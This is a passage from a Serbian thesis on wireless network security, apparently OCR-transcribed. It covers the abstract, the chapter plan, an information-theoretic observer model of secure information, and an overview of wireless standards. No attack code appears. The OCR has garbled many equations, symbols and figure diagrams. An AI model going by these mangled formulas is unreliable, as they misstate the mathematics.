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Zastita podataka u bezicnim WLAN i WAN racunarskim mrezama - Viadan Josipovi¢

Abstrakt:

Zastita podataka u racunarskim mrezama je uvek aktuelna tematika. Zbog
pogodnosti koje pruzaju bezZiCne raCunarske mreze se pogotovo naglo Sire.
Istovremeno u njima je lako dostupan medijum za prenos podataka pa su jo$
izlozenije na napade. Iz tih razloga postaje neophodno posvetiti viSe paznje njihovoj
bezbednosti.

Pri implementaciji bezi¢nih mreza postavlja se pitanje definicije politike
bezbednosti, pre svega koju opremu i metode zastite podataka odabrati.

U ovom radu su, kao teoretska osnova, iznete neke od osnovnih postavki
teorije informacija. Navedeni su najc¢eSc¢e koris¢eni standardi za bezicne racunarske
mreze, a standardi IEEE 802.11x. 1 IEEE 802.16 su detaljnije obradeni. Razmotreni su
mehanizmi zastite podataka i u okviru njih detaljnije analizirane slabosti i pretnje po
bezbednost. Kori§¢eni su dostupni softverski alati sa interneta za prikupljanje i analizu
bezinog mreznog saobracaja. Sa tim alatima je prakticno isprobano nekoliko
moguénosti ugrozavanja bezbednosti bezicne mreze.

Pored napretka i dalje postoji nebezbednost u 802.11x. Mogu¢i su napadi
uskracivanjem resursa i laziranjem zaglavlja paketa. Mozda je potrebno redizajniranje
celog skupa protokola? Za sada bezicne mreze nije preporucljivo koristiti u
okruzenjima koja ne toleriSu nepouzdanost ili nedostupnost.

Klju€ne reci: Bezbednost podataka, WLAN, WAN, Kriptovanje

Abstract:

Data security in computer networks are very actuel themaic. Accomodation
provided by wireless network causes their spiral expansion. In the other hand easy
connection to the medium for transmission of data making this networks much
exposed to the attacks. Because of that it is necessary to pay much attention about
data security in this networks.

During the implementation of wireless networks we must decide how to define
security policy and as part of this question we must decide what is equipment and data
security method best for selection.

In this paper as theoretical base are exposed some basic thesis in information
theory. There are named often used standards for wireless networks, and standards
IEEE 802.11x. and IEEE 802.16 are detailed presented. There are
discussedmechanism for data protection, and in this frame work detailed analised
weakness and threats for data security. It is used from web available software tools for
gathering and analise wireless network trafic. With this tools are practice proved some
posibilites for threat wireless network security.

No considerate for the well being there are much unsecurity in 802.11x. There
are many possibilites for attack type denial of service and masquerade header. Maybe
it is necesseary to redesign set of protocols? In this moment it is not recomended to
use wireless network in conditions where no tolerance for unreliability or
unavailability.

Keywords: Data security, WLAN, WAN, Encripting
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Uvod:

Pogodnosti koje pruza bezi¢na racunarska mreza su je ucinile popularnom pa
se ona danas veoma Cesto koristi. Na primer u poslovnom okruzenju, univerzitetima,
na javnim mestima, a takode i u privatnim ku¢ama. Bezbednost podataka koji se u
beziénim racunarskim mrezama prenose je sve ceSCe pitanje koje opredeljuje
korisnike. Medijum za prenos informacija je eter, sto zna¢i da bilo ko sa radio
prijemnikom i predajnikom moze da prima i Salje podatke. To je pretnja po
poverljivost informacija koje se u takvim mrezama prenose. Da bi se otklonila takva
pretnja, na samom pocetku razvoja bezi¢nih radunarskih mreza, prema standardu
IEEE 802.11, kao reSenje je usvojen mehanizam za kriptovanje podataka pod
nazivom WEP (engl. Wired Equivalent Privacy). Kao Sto samo ime govori taj
mehanizam treba da pruzi zastitu podataka jednaku onoj koju ima zi¢na ra¢unarska
mreza. U vreme kada je WEP prihvacen, postojala su znaCajna ograni¢enja u
hardverskim moguénostima opreme i ceni njene proizvodnje Sto je dovelo do
prihvatanja ovakvog mehanizma zaStite podataka. WEP se pokazao kao ranjiv na
nekoliko vrsta napada i sada se smatra da ima malu vrednost kao mehanizam za
zastitu poverljivosti podataka. U ovom radu je prikazano kako WEP radi i nekoliko
nacina za probijanje zastite koju on pruza. Da bi se pobolj3ala bezbednost, i iskoristila
postojeca oprema koja je koris¢ena sa WEP mehanizmom, zastita je unapredena WPA
mehanizmom. To je bilo prelazno reSenje, sa joS uvek nedovoljno efikasnom
bezbednoséu. Tek WPA2 uz AES i novi sistem autentikacije kona¢no obezbeduje
potreban nivo bezbednosti podataka.

Aktuelni sistemi zaStite su proizvod ljudskog rada, namenjen drugim ljudima.
Do greSaka u primeni zastite podataka naj¢es¢e dolazi zbog nerazumevanja koncepta
na kojem se zasnivao razvoj takvih sistema. Da bi se to prevaziSlo razvijaju se novi
inteligentni sistemi zasStite podataka uz primenu obsevera i inteligentnog softvera.

Struktura rada:

U prvom delu su date teorijske osnove o informaciji i informacionom sistemu,
kao i pojam bezbednosti informacije. Osnova za razvoj i primenu beZzi¢nih
raCunarskih mreza su standardi za koje su navedene osnovne karakteristike. Detaljnije
su prikazani standardi IEEE 802.11 i IEEE 802.16. Standard IEEE 802.11 za WLAN
je analiziran kroz nivoe OSI modela. Razmotrene su tehnike modulacije sa aspekta
zaStite od ometanja. Dat je pregled razvoja standarda, kao i hardverske opreme za
realizaciju bezi¢nih ra¢unarskih mreza. Za standard IEEE 802.16 — WAN su navedene
osnove arhitekture, bezbednosna reSenja, tipovi servisa za QoS, i prikazane su vaznije
verzije ovog standarda. Poglavlje 5 se odnosi na nacine identifikacije WLAN mreza,
tj. pregled informacija koje se mogu dobiti iz pojedinih paketa podataka
prisluskivanjem saobracaja u WLAN mrezi. Da bi se prikupio i analizirao saobracaj u
bezi¢noj mrezi potreban je softverski alat za tu namenu. Neki od tih alata i njihove
mogucénosti su prikazani u poglavlju 6. Poglavlje 7 je o naCinu probijanja zastite
bezi¢nih mreza. Data su obja$njenja postupaka kao i nekoliko prakti¢nih primera.
Obuhvaceno je probijanje mehanizama WEP, WPA kao i ugrozavanje bezbednosti
WAN mreze. Prikupljanje statisti¢ckih podataka 0 bezi¢noj mrezi pod nazivom ratna
voznja je tema poglavlja 8. Napadi putem ometanja mreznih servisa (DoS) su tema
poglavlja 9. U poglavlju 10 su sistematizovno prikazane mere za poboljSanje
bezbednosti podataka u bezi¢nim ra¢unarskim mrezama i detaljnije su opisane neke
od tehnickih mera.
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1. Informacija i informacioni sistem

Informacija moze biti predstavljena kao funkcija verovatnoce, pod pretpostavkom
da informacija raste kada verovatno¢a dogadaja opada i obrnuto. Posto informacija
elimini$e neodredenost, tako da vecoj verovatnoéi odgovara veca neizvesnost i manje
oc¢ekivanje. Prikladna definicija informacije bi mogla biti da informacija predstavlja
stepen slobode u izboru poruke iz skupa mogucih poruka.

1.1. Informacioni sistem

Uopsteno informacioni sistem se sastoji od izvora informacije, enkodera
informacije, komunikacionog (prenosnog) kanala, dekodera i prijeminka informacije.

1ZVOR ENKODER PRENOSNI KANAL DEKODER  PRIJEMNIK

o L

Slika 1.1.1 Informacioni sistem uopSteni prikaz [1]

Izvor informacije se moze definisati kao skup parova {xi, p(xi)}, i = 1,2,..n, gde x;
predstavlja jednu od n poruka, koja se moze pojaviti u izvoru, dok p(x;) predstavlja
verovatnocu pojavljivanja te poruke. Ako logaritam za osnovu 2 zapiSemo kao Id,
koli¢ina informacija se moze predstaviti kao: [2]

1(x;) =—log2p(x;) =—ldp(x,) (1.1.1)

Srednja koli¢ina informacija na izvoru je:
1(X) == p(xi)ldp(xi) = H(X) (1.1.2)
i=1

Srednja koli¢ina informacija je ona koli¢ina informacija koja je neophodna da bi
se odredio svaki pojedina¢ni simbol ili poruka iz skupa X svih mogucih simbola ili
poruka koje se prenose kroz komunikacioni kanal. Koli¢ina 1(X) se naziva entropijom
diskretnog slucajnog signala X i izrazava se kao H(X).

Kvalitet komunikacije se moze izraziti preko kvantiteta informacionog toka, koji
moze biti prenet kroz komunikacioni kanal sa greSkama (smetnjama). To je koli¢ina
informacija koja pripada skupu primljenih poruka {Y} i jednozna¢no je povezana sa
skupom poslatih poruka {X}. Koli¢ina informacija poslata kroz komunikacioni kanal
sa greSkama se moze prikazati kao uzajamna informacija:

IOGY)=1(X)=1(X/Y)=1(Y)=1(Y/X) (1.1.3)
Par {xi, p(xi)}, i = 1,2,..n, opisuje skup poruka na ulazu {X}, dok par {yi, p(yi)},

J =1,2,.m, pripada skupu poruka {Y} na izlazu iz komunikacionog kanala prikazano
na Slici (1.1.2).



IZVOR ENKODER PRENOSNI KANAL DEKODER PRIJEMNIK
(X) (Y)
N . > g = i i
Xi p(xi) i p(yi)
GRESKE
(Sum)

Slika 1.1.2 Komunikacioni kanal sa greSkama

Izraz (1.1.3.) predstavlja gubitak ulaznih informacija na osnovu greSaka/Suma u
komunikacionom kanalu, gledano sa strane ulaza ili izlaza tog kanala. To se moze

predstaviti pomoc¢u uslovne verovatnoce  p(xiy;) ili p(yj/xi) Sto daje koli¢inu
izgubljenih informacija. [2]
LXIY)==>" > p(xi)p(yi/ x)ldp(xi/ y) (1.1.4)
i=1 =1
(Y /X)) =~ p(ys) p(xi/ yi)ldp(yi/ x:) (1.1.5)
i1 =1

1.2 Bezbedan informacioni sistem

1.2.1 Semantic¢ka definicija informacije

Kada pokusavamo da definiSemo informaciju, semanticki treba da uklju¢imo u
to observer (Coveka ili uredaj) [2]. Observer posmatra izvor informacije S. Uzmimo
da se posmatrani izvor informacije S moZe predstaviti kao uredeni par, tj.
S ={Q,Q*}. Q je skup simbola tj. sintaksni prostor, dok je Q skup znacenja tj.
semanticki prostor. Skup @ sadrZi elemente a; , dok skup Q" sadrZi elemente a;
Postoji relacija izmedu elemenata skupa Q i skupa . Uredeni par { ao , a0 } koji se
naziva lexma, oznacava da su simbol i njegovo znacenje povezani. Gledano sa druge
strane element a moze biti posmatran kao objekat u stvarnom svetu, dok se element «
moze posmatrati kao slika elementa a. To je staticka definicija.

Dinamicka definicija se moZe predstaviti uvodenjem procesa observacije.
Pretpostavimo da observer O observira jedan objekat i apsolutna observacija je
predstavljena parom {a,a}. Elementi « i a su observirani u isto vreme kada se
pokuSava odrediti njihova ta¢na vrednost. Observacija elemenata « i a se ne moze
vrsiti odvojeno. Observer koristi o da bi odredio a, i obrnuto. Takode postoji
pretpostavka da postoji apsolutna simetrija izmedu observiranog para varijabli, t.j.
proces observacije se moze predstaviti kao rekurzivna Sema o —a i a— a.
Simbol predstavlja znacenje i znacenje predstavlja simbol.

Da bi se izmerio prikazani proces observacije neophodno je pridruziti numericke
vrednosti varijablama « i a. Pretpostavimo da se « i a menjaju kontinualno u nekom
skupu. Sa matematicke tacke gledano moze se uzeti da su kontinualne promenljive o i
a elementi skupa R, gde je R skup realnih brojeva. Tada se moze pretpostaviti da se za
promenljive o i @ moZe izradunati neodredenost pomoéu Senonove diferencijalne
entropije.
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H(X)= —Tp(x)ldp(x)dx (1.2.1)

Postoji Cetiri aksioma, kojima se opisuje proces observacije [2]
Aksiom 1 Glavni zadatak observera O je da odredi tacnu vrednost « i a. Svakako, da
rezultat observacije moze biti samo viSe ili manje priblizna vrednost observiranih
promenljivih. Observirane vrednosti " ia” su linearne kombinacije od a. i a :
a’=g,a+9,a (1.2.2)
a" =0,a+0ya (1.2.3)
Aksiom 1 U osnovi govori da postoji relacija izmedu a i a na nivou observacije.
Uopstena forma ove relacije je nelinearna, t.j. o =fi(a,a) i a =fy(a,a). Za lokalne
observacije funkcije fi(a,a) i fo(a,a) mogu biti aproksimirane pomocu linearnih
transformacija, tako da se Aksiom 1 odrzava za observacije sa malim promenama
observiranih parametara.

1ZVOR
INFORMACIJE REZULTAT
S OBSERVER OBSERVACIJE
— - ~ —
simbolicko a . N N
znadenje a =gpatgpa a
W
semantic¢ko
znacenje a . «
objekta a =gaatg,a > a
W
-/ — 7 \, J

Slika 1.2.1 Model observera

Aksiom 2 Proces observacije se odvija na nacin kojim se ne uniStavaju informacije
niti se proizvode nove informacije. Ako je par {ao ,a0}, nastao na izvoru informacije
observiran, proces observacije nema uticaja na kona¢no dobijenu informaciju
dostupnu na izvoru informacija. To je pretpostavka o¢uvanja informacija.
Aksiom 3 Za specijalan slucaj kada je o = a , proces observacije se svodi na:
a'=G-«a (1.2.4)
Gde je G stalno pojacanje.
Aksiom 4 Postoji pretpostavka da se neodredenost informacije moze izmeriti pomocu
Senonove entropije. Entropija observirane varijable o je H(a), od varijable a je H(a).
Medusobna entropija para {a,a} je H(a,a). Entropija za gore definisani proces
observacije se moze predstaviti kao:

H(a",a") =H(a,a) + J. J. p(a’a)|d|gll U227 02 921|dada (1.2.5)

Ako Aksiom 2 o pretpostavci o¢uvanja informacija vazi, onda je H(a',a") isto §to i
H(o,a), $to znaci da je drugi deo izraza (1.2.5) jednak nuli, pa je:
|911‘ 02— 01 921| =1 (1-2-6)
Vise funkcija moze ispunjavati uslov (1.2.6). Sledece funkcije mogu biti odabrane za
trazene koeficijente gjj :
011 = cosh w, Q12 = sinh @, gz = sinh o, g2 = cosh w 1.2.7)
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gde je w elemenat iz skupa R, skupa realnih brojeva, « je parametar za podeSavanje
osobina observera. Jednakosti (1.2.2) i (1.2.3) se mogu pisati kao:

o =acoshw +asinh w (1.2.8)

a" =asinhw+acoshw (1.2.9)

Ako observer O observira par varijabli {a,a}, gde su « i a elementi skupa R i vidi
{a",a"} kao rezultat observacije, tada postoji w, koje je takode elemenat skupa R , tako
da su jednakosti (1.2.8) i (1.2.9) zadovoljene. Parametar observacije « predstavlja
faktor greSke. Ako je w=0 observirane varijable odgovaraju tatno onima koje su
proizvedene na izvoru informacije i tada nema greske u observaciji. I1zbor parametra
o odreduje odstupanje Ao i 4a observiranih varijabli od onih koje su nastale na izvoru
informacije. Za male vrednosti | ) | transformacije u jednakostima (1.2.8) 1 (1.2.9) su
linearne. Jednacine observacije (1.2.8) i (1.2.9) se mogu primeniti na bilo koji par
simbola i odgovarajuc¢eg znacenja {a,a}.

1.2.2 Observacija neodredenosti u informacijama

Pretpostavljamo da je a simbol koji oznac¢ava re¢ u nekom od svetskih jezika i
da je a neki realan ili abstraktan objekat (koji se vezuje za znaCenje reci). Tako
uredeni par {o,a} nema brojéanu vrednost. Pretpostavimo takode da observer moze
direktno da uocava koli¢inu neodredenosti sadrzanu u o i a . Tada se moze reci da je
observer osetljiv na promenu koli¢ine entropije H(a) i H(a). Proces koji je opisan
odgovara uobicajenoj situaciji koja se javlja u komunikaciji kada observer prima
lexmu (jezic¢ki gledano) t.j. re¢ a i njeno znacenje a. Jasno je da se o i @a ne mogu
izraziti numeri¢ki, tako da se gore navedena cetiri aksioma mogu primeniti samo
indirektno. Promenljive koje se mogu izraziti numeric¢ki su entropije H(a) i H(a).

Observer procenjuje koli¢inu neodredenosti vezano za pojavljivanje re¢i o nezavisno
od neodredenosti koja je povezana sa pridruzenim zna¢enjem a. Na taj nacin observer
(prijemnik informacija) koristi verovatno znacenje reci da bi otkrio njeno simboli¢ko
znacenje 1 obrnuto, t.j. observer moze koristiti poznavanje simbolike primljene re¢i da
bi otkrio njenu semantiku.

1ZVOR
INFORMACIJE REZULTAT
S OBSERVACIJE
) ~ ~~ - ~
simboli¢ko H(@) .
znadenje ——  ” ™ H(@)
w
OBSERVER
(o]
semanti¢ko
znacenje H(@) _ N
objekta H(@)
W
~— _S \ V,

Slika 1.2.2 Model observacije neodredenosti informacije
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Aksiomi opisani ranije se mogu primeniti na observiranje entropija, gde su
H(o. )=H((a) i H(a )=H(a) relativne entropije. Primenjujuéi jednaine observacije
(1.2.8) i (1.2.9) dobijamo nove jednakosti:

H, () = H(a)-coshw + H(a)sinh @ (1.2.10)
H,(a) = H(a)-sinh w + H (a)coshw (1.2.11)
1.2.3 Bezbedna informacija

Osnovni  servisi bezbednosti su poverljivost, integritet i dostupnost
informacije.

Poverljivost (engl. confidentiality) je jedan od glavnih motiva za uvodenje
kriptografskih sistema. Ona znac¢i kontrolu objavljivanja informacija i zaStitu od
neovlas¢enog pristupa informacijama. Da bi opravdali svoju upotrebu kriptografski
sistemi moraju biti efikasni u obezbedenju poverljivosti podataka. Ta efikasnost se
naziva snaga: jak kriptografski sistem je tesko ,razbiti“. Umesto snage, Cesto se
koristi pojam radnog faktora (work factor) algoritma: on priblizno odreduje vreme
koje je neophodno za ,razbijanje” nekog kriptografskog sistema. Smatra se da je
kriptografski sistem slab ako dozvoljava upotrebu slabih kljuceva, ako poseduje
propuste u dizajnu ili ako se moze lako dekriptovati. Veliki broj danasnjih sistema je
dovoljno snazan za poslovnu i licnu upotrebu, ali je nedovoljno jak za osetljive vojne
i vladine aplikacije.

Utvrdivanje postojanja eventualnih izmena poruke tokom prenosa predstavlja
drugi osnovni zadatak kriptografskih sistema. Integritet podataka se obezbeduje
dodavanjem zasebnih podataka u vidu kontrolne sume ili drugih redundantnih
podataka koji ¢e biti iskoris¢eni u procesu dekriptovanja. Dodavanjem koda za
autenti¢nost poruke (engl. Message Authentication Code - MAC) predstavlja
uobicajeni nacin za proveru njenog integriteta. MAC se dobija na osnovu sadrzaja
same poruke i klju¢a. MAC se obi¢no Kriptuje sa samom porukom, i tako Salje, ¢ime
se dodaje jos jedan sloj provere integriteta. Prijemna strana takode na identi¢an nacin
prora¢unava MAC vrednost i poredi svoj rezultat sa vrednoS¢u koja je poslata uz
poruku. Integritet je obezbeden ukoliko su te dve vrednosti iste. MAC vrednost je
neka vrsta kljuca koja se dobija pomocu hes§ algoritma, SHA, MDS5 ili sli¢no. Klju¢ je
obi¢no simetrian, pa se isti proces odvija na oba kraja veze primenom identicne
funkcije.

Kontrola pristupa (engl. access control) oznatava metode, procese i
mehanizme za spreCavanje neovlaS¢enih pristupa kriptografskim sistemima.
Kriptografski kljucevi su osetljivi na kradu, gubitke i ljudske propuste. Kontrola
pristupa mora regulisati i fizicke i operativne mere zastite resursa.

Kada je pretnja po bezbednost informacija ostvarena, kazemo da se desio
incident. Incident se definiSe kao akcija koja verovatno dovodi do ozbiljnih posledica.
Jezikom IT to je bilo Sta Sto se dogodi sa informacijama, a da nije pozeljno. Prema
ranije usvojenom znacenju incident bi mogao biti napad u opsegu od relativno
bezazlenih pokuSaja, kao Sto je probijanje pasworda, neautorizovanih pokuSaja
prijavljivanja na sistem sa udaljenog mesta, do mnogo ozbiljnijih napada kakvi su
krekovanje, ubacivanje virusa ili napada tipa ometanja servisa, itd.

Svaki incident je u stvari krSenje Aksioma 2, koji pretpostavlja zastitu informacija.
Kada se incident dogodi, tada je prekinuta veza izmedu izvora informacije S i
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observera O i umetnuta je neautorizovana izmena informacije. Tada se deSavaju dva
moguca slucaja:

- DoS (engl. Denial of Service), gde je veza sa izvorom informacije potpuno
prekinuta ili je informacija uniStena i observer ne prima nikakve informacije

od izvora.
1ZVOR
INFORMACIJE REZULTAT
S OBSERVACIJE
r— — ™ S )
simbolicko _
znadenje ?
w
OBSERVER
(o]
semanticko
znacenje N s
objekta > !
W
\ / — S \ J

Slika 1.2.3.1 Denial of service (DoS) napad

- Neautorizovana modifikacija, je kada observer prima informacije koje su, bez
saglasnosti, modifikovane u prenosu od izvora informacije do observera.

1ZVOR
INFORMACIJE NEAUTORIZOVANA REZULTAT
S MODIFIKACIJA OBSERVACIJE
simboli¢ko H(a) H(C b)
znacenje H (5 )
W
INCIDENT OBSERVER
| O
semanti¢ko
znadenje H@) Hb) HG )
objekta d
W
— — — - J

Slika 1.2.3.2 Neovla$éena modifikacija informacija

U slucaju, neovlaS¢ene modifikacije observer prima informaciju sa neodredenim
sadrzajem koja se moze opisati preko entropije H(f) i H(b). Observirane entropije
H(p*) i H(b*) viSe nisu funkcije primarnih parametara observacije ®, $to znac¢i da
jednakosti (1.2.10) i (1.2.11) viSe ne vaze. Tada se razmatraju novi parametri
observacije kao Sto je 6. Tada se jednakosti (1.2.10) i (1.2.11) menjaju u:

H(B8")=H,(B)=H(pB) coshd + H(b)sinh o (1.2.12)
H(b")=H,(b)=H(b)-sinh& + H(b)-coshd (1.2.13)
pa se bezbednost informacija moze izraziti preko ranije navedenih aksioma:
- Aksiom 1, kojim se kaze da postoji relacija izmedu simbola (re¢i) a i njenog

znacenja a Sto se smatra normalnom situacijom u razmeni informacija izmedu izvora
informacija i observera.
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- Aksiom 2, koji govori o tome da informacija ne moze biti uniStena u procesu
observacije niti je procesu observacije dozvoljeno da kreira nove informacije, je
najvazniji aksiom $to se tiCe bezbednosti informacija. Poverljivost, integritet i
dostupnost informacija, koje karakteriSu bezbednu informaciju, mogu biti sacuvane
samo ako se Aksiom 2 striktno postuje tokom ¢itavog procesa observacije.

- Aksiom 3, kojim se opisuje redukovani proces observacije, nije toliko vazan za
bezbednost informacija.

- Aksiom 4, koji objasnjava kako se neodredenost informacije moze izmeriti
Senonovom entropijom, je takode vazan za bezbednost informacija, zato $to daje
formalni alat za merenje neodredenosti informacije preko jednakosti koje opisuju
proces observacije.

Postoji jos jedan aksiom koji se moze dodati ve¢ navedenim.

- Aksiom 5, koji kaze da ako neovlas¢ena modifikacija informacije nastane, tada
observer mora biti sposoban da uoci (i eventualno koriguje) nezeljenu modifikaciju.
Posledice Aksioma 5 su sledece:

- observer mora biti u moguénosti da uoci razliku izmedu H(B*), H(b*) i H(a*),H(a*),
respektivno

- observer mora uociti razliku izmedu parametra observacije ® i 0, i (ako je moguce)
korigovati pogreSan parametar tako da se postigne minimalna razlika, da bude @ = 6

- observer treba da ima neka prethodna znanja o o¢ekivanim rezultatima observacije
da bi bio sposoban da uoci razliku izmedu korektne i nekorektne informacije.

1.2.4 Bezbedan informacioni sistem

Pretnje bezbednosti u informacionom sistemu su u ovom radu dosada predstavljane
kao Sum u komunikacionom kanalu. Takav koncept nije ukljucivao semanticki aspekt
informacije. Bio je opterecen time §to je tesko razlikovati ,,normalne” i ,,nenormalne“
aktivnosti u danasnjim informacionim sistemima, delom i zato Sto bitan deo pretnji po
bezbednost dolazi od samog informacionog sistema. To je zato Sto informacioni
sistemi nisu kreirani jo§ od samog pocetka stvaranja tako da zadovolje zahteve
bezbednosti.

Postoje¢i sistemi zastite su uglavnom pravljeni tako da rade nezavisno od
informacionih sistema. Taj pristup u osnovi nije pogresan sve dok korisnik (observer)
informacionog sistema koji prima informacije postupa korektno. Na slici (1.2.4) je
prikazana situacija kada je observer O izostavljen, ali je implicitno prisutan kroz
rezultate observiranja.

1ZVOR
INFORMACIJE NEAUTORIZOVANA REZULTAT
S MODIFIKACIJA OBSERVACIJE
——————\ ) SEE— — D ——
simboli¢ko H(@) H(C b)
znacenje HE)
W -
INCIDENT ZASTITNI
| ALAT
semanti¢ko
znagenje H@) Hb) | H@ )
objekta 4
W
— D —— —_— -—

Slika 1.2.4 Napadnuti informacioni sistem sa alatima za zastitu
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Bilo koji, pa i najbolji danasnji alat za zaStitu moze da pogresi. Slika (1.2.4) prikazuje
idealnu situaciju kada je alat za zaStitu u moguénosti da potpuno vrati primarnu
informaciju sa izvora informacije. Nazalost danas ne postoji tako idealan alat za
zaStitu. Koncept automatskih adaptivnih sistema zaStite je najblizi ovom
konceptualnom dizajnu idealnog alata za zastitu. Ipak, cak i ovo resenje ima nekoliko
tehnickih poteskoca u implementaciji. Najvaznije su raspoznavanje i problemi sa
brzinom obrade.

Idealan alat za zaStitu bi morao da zadovolji gore pomenutih pet aksioma. [2]
Najvazniji su svakako Aksiom 2 i Aksiom 5. Uvodenjem Aksioma 5 zahteva se novi
kvalitet alata za zastitu. ViSe nije dovoljno da alat bude automatizovan i adaptivan (da
bi prebrodio greSke korisnika). Alat se mora ponaSati kao inteligentni observer,
sposoban da prepozna ,,nenormalan,, oblik ponasanja informacionog toka. On takode
mora biti sposoban da donosi neke odluke i da bude u stanju da potpuno rekonstruise
informaciju kakva je bila pre neovlas¢enih izmena. Slika (1.2.5) prikazuje takvu
situaciju.

1ZVOR
INFORMACIJE NEAUTORIZOVANA REZULTAT
S MODIFIKACIJA OBSERVACIJE
————— — —— —————
simboli¢ko H() H(C b) H@
znacenje HE@)
W OBSERVER SA
'NC”?ENT VESTACKOM
. INTELIGENCIJOM
semanti¢ko
znadenje H@) HOb) H@) H@ )
objekta d
W
- — - -

Slika 1.2.5 Napadnuti informacioni sistem sa inteligentnim observerom
Jedan inteligentni observer nije dovoljan da bi potpuno zastitio informacioni sistem.

Potrebno je viSe inteligentnih observera uvezanih u jedan sistem rasporedenih unutar
informacionog sistema koji Stite, sa moguénosc¢u da medjusobno komuniciraju.
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2. Pregled bezi¢nih ra¢unarskih mreza

Uvod

Bezi¢ne racunarske mreze prema standardima IEEE 802.11 i IEEE 802.16 su
osnovna tema ovog rada ali radi potpunije predstave, treba navesti joS neke bezi¢ne
mreze za prenos podataka, slicne namene i karakteristika. One su razvijane da bi
zadovoljile specifiéne potrebe, kao §to je komunikacija u bliskom okruzenju, ili
podrska prenosu informacija i govora na vecée udaljenosti. Pri tom tacke izmedu kojih
se razmenjuju podaci mogu biti stacionarne ili mobilne. IEEE 802.1x grupa
obuhvata viSe protokola bezi¢ne komunikacije.

10km |
-]
GE)
o HSDPA
© Mobile-Fi (802.20)
1km |
WLAN(802.11)
100m_|
Bee
5.4
10m Bluetooth
802.15
4 | ! [ ‘ |
100kbit/s  1Mbit/s 10 Mbit/s 100 Mbit/s 1 Gbit/s

brzina prenosa

Slika 2.1.1. Odnos brzine prenosa i dometa za neke od standarda beZi¢nih mreZa

2.1 Bluetooth IEEE 802.15 je protokol za bezi¢nu razmenu
podataka na malim udaljenostima sa fiksnih i mobilnih uredaja, $to ¢ini li¢ne bezi¢ne
mreze, personal area networks (PAN). Nastao je kao alternativa RS232 prenosu
podataka pomocu kabla. Moguca je konekcija vise uredaja na bluetooth mrezu, uz
prevazilazenje problema sinhronizacije. Razvojem specifikacije za ovaj standard se
bavi Bluetooth Special Interest Group. Od 1994 god. do sada je bilo viSe verzija ovog
standarda, verzije 1.0 i 1.0B su nekompatibilne sa ostalim verzijama a verzije 1.1, 1.2,
2.0 i2.1 su medusobno kompatibilne. Bezbednost Bluetooth komunikacije je prema
objavljenim radovima, na viSe nafina ugrozavana. Prednosti ovakvog nacina
komunikacije su niska cena uredaja, mala snaga zracenja, koje je u principu Stetno za
ljudsko zdravlje, i niska potroSnja energije.
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2.2 ZigBee IEEE 802.15.4 je specifikacija za komunikacioni

protokol koji koristi digitalni radio prenos sa niskom potroSnjom energije. Zasnovana
je na IEEE 802.15.4 stanadardima i namenjena je za beZi¢ne personalne mreze
(WPANS). Tehnologija definisana ZigBee specifikacijom je namenjena da bude
jednostavnija i jeftinija od ostalih WPAN, kao Sto je Bluetooth, i primenjuje se kao
RF prenos za mali protok podataka, dug vek baterijskog napajanja i kao bezbedna
mreza. Zig Bee Alliance je grupa firmi koje odrzavaju i publikuju Zig Bee standard,
slicno WiFi alijansi za standard IEEE 802.11. ZigBee radi na ISM opsegu 868 MHz u
Evropi i 915 MHz u SAD i Australiji, kao i na 2.4GHz u celom svetu. Jednostavna
reSenja u tehnologiji donose nize cene uredaja. Proizvodjaci opreme nude integrisane
varijante sa radio uredajem procesorom ili mikrokontrolerom, ¢ak i sa kompletnim
softverom. Najnovija verzija ZigBee specifikacije iz 2007 godine ima dva profila.
Jedan za kuc¢nu i manje zahtevnu komercijalnu upotrebu koji koristi manje RAM
memorije, i drugi tzv. ZigBee Pro koji pruza znatno ve¢e mogucénosti kao $to je
multi-casting, rutiranje  many-to-one i poboljSanu bezbednost koris¢enjem
Symmetric-Key Key Exchange (SKKE). Oba profila rade u mesh mrezama i rade sa
svim ostalim profilima ZigBee uredaja. lzrazita primena ovog standarda je u
senzorskim mrezama.

2.3 UWB 802.15.3 standard IEEE 802.15.3 je nastao kako bi se

omogucilo bezicno povezivanje sa velikom brzinom prenosa podataka, niskom
potro$njim energije, malom cenom uredaja, za prenos multimedijalnih sadrzaja,
prenosivim uredajima koji su Siroko dostupni na trzistu. Ovaj standard omogucava
brzine prenosa podataka od 11 do 55 Mb/s na udaljenosti veé¢e od 70 m uz odrzavanje
kvaliteta prenosa (QoS) za tok podataka. Kao dodatak, ovaj standard daje mogucénost
jednostavnog ad-hoc povezivanja koje uredajima dozvoljava automatsko formiranje
mreze i razmenu podataka bez intervencije korisnika. Privatnost i integritet je za
podatke i komande obezbedena sa 128-bitnom AES enkripcijom uz koris¢enje CCM
moda. Ovaj standard takode omogucava razliCite tehnike koje se koriste za
istovremenu primenu 802.15.3 pikonet mreza sa drugim bezi¢nim mrezama. [3]

2.4 HSDPA Mobile Fi IEEE 802.20 Mobile Broadband Wireless
Access (MBWA) je IEEE standard koji omogucava razvijanje mreza sa mobilnim
sirokopojasnim beziénim pristupom. Standard vazi za ceo svet i Kkoristi opremu
razli¢itih proizvodjac¢a. Odobren je od strane IEEE 802 grupe u junu 2008 godine.
Zahtevi koji su predlozeni za ovaj standard su daleko visi od bilo kojih dosadasnjih u
mobilnoj arhitekturi. Optimizovan je za punu mobilnost do brzina od 250 km/h, radi u
licenciranom opsegu 3.5 GHz, koristi paketnu arhitekturu, koristi novi MAC i PHY
sa IP i adaptivnim antenama. Najveca brzina prenosa je 1Mbit/s.

2.5 2G je tehnologija bezi¢nih telefona druge generacije. Prvi put je
uvedena u Finskoj 1991. god. kao GSM standard. Osnovna prednost 2G u odnosu na
prethodnu generaciju bezi¢nih telefona je digitalna enkripcija komunikacije telefona
sa baznom stanicom. Ovom tehnologijom je poboljSana efikasnosti u koris¢enju
frekventnog spektra, smanjena je snaga predajnika, smanjena potroSnja baterija kod
prenosnih uredaja, smanjene dimenzije uredaja, i sve to dovodi do prodora ove
tehnologije na trziStu. Novi servis su SMS poruke. U zavisnosti od toga koji je tip
multipleksa primenjen razlikuju se TDMA (Time Division Multiplex Access) i
CDMA (Code Division Multiplex Access).
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2.6 2.5 G je stepenica u razvoju izmedu 2G i 3G. Prvi vazan korak je bilo
uvodenje General Packet Radio Service (GPRS) u postojecu 2G infrastrukturu, GSM
ili CDMA mreze. lako je uvedena paketna razmena podataka, brzina prenosa je jos
uvek mala i kreée se u opsegu 56 Kbit/s do 114 Kbit/s. Takva tehnologija je zazivela
zbog potrebe na trziStu za servisima kao Sto je Wireless Application Protocol (WAP),
Short Message Service (SMS), Multimedia Messaging Service (MMS), Internet servis
kao Sto je e-mail i World Wide Web. Tada je pocela praksa napladivanja usluga
